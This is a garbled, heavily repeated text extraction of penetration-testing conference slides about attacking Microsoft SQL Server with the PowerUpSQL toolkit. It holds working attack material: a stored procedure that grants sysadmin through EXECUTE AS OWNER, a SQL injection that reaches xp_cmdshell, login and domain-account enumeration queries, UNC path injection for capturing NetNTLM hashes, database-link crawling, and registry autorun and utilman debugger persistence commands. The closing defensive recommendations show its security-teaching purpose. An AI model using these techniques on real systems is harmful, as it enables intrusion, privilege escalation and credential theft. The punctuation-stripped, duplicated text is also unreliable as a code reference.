1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Testing Login Access Demo
DEMO
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
EscalatingPrivileges
SQL Login to SysAdmin
Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip
Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts
Technique PowerUpSQL Function
Blind Login Enumeration+
Dictionary Attack =
Super Cool
Invoke-SQLAuditWeakLoginPw
bull Enumerate all SQL Server logins with the Public role
bull Enumerate all domain accounts with the Public role
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
